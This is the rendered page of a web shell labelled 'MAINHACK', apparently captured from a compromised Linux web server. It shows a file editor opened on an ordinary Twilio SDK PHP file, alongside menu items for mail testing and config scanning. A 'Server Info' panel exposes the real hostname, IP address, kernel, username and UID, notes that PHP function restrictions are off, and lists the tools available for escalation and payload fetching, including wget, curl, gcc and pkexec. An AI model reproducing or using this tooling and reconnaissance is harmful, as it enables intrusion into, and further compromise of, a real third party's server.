[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: GuzzleClient.php
<?php namespace Twilio\Http; use GuzzleHttp\ClientInterface; use GuzzleHttp\Exception\BadResponseException; use GuzzleHttp\Psr7\Query; use GuzzleHttp\Psr7\Request; use Twilio\Exceptions\HttpException; final class GuzzleClient implements Client { /** * @var ClientInterface */ private $client; public function __construct(ClientInterface $client) { $this->client = $client; } public function request(string $method, string $url, array $params = [], array $data = [], array $headers = [], string $user = null, string $password = null, int $timeout = null): Response { try { $options = [ 'timeout' => $timeout, 'auth' => [$user, $password], 'allow_redirects' => false, ]; if ($params) { $options['query'] = Query::build($params, PHP_QUERY_RFC1738); } if ($method === 'POST') { if ($this->hasFile($data)) { $options['multipart'] = $this->buildMultipartParam($data); } else { $options['body'] = Query::build($data, PHP_QUERY_RFC1738); $headers['Content-Type'] = 'application/x-www-form-urlencoded'; } } $response = $this->client->send(new Request($method, $url, $headers), $options); } catch (BadResponseException $exception) { $response = $exception->getResponse(); } catch (\Exception $exception) { throw new HttpException('Unable to complete the HTTP request', 0, $exception); } // Casting the body (stream) to a string performs a rewind, ensuring we return the entire response. // See https://stackoverflow.com/a/30549372/86696 return new Response($response->getStatusCode(), (string)$response->getBody(), $response->getHeaders()); } private function hasFile(array $data): bool { foreach ($data as $value) { if ($value instanceof File) { return true; } } return false; } private function buildMultipartParam(array $data): array { $multipart = []; foreach ($data as $key => $value) { if ($value instanceof File) { $contents = $value->getContents(); if ($contents === null) { $contents = fopen($value->getFileName(), 'rb'); } $chunk = [ 'name' => $key, 'contents' => $contents, 'filename' => $value->getFileName(), ]; if ($value->getContentType() !== null) { $chunk['headers']['Content-Type'] = $value->getContentType(); } } else { $chunk = [ 'name' => $key, 'contents' => $value, ]; } $multipart[] = $chunk; } return $multipart; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002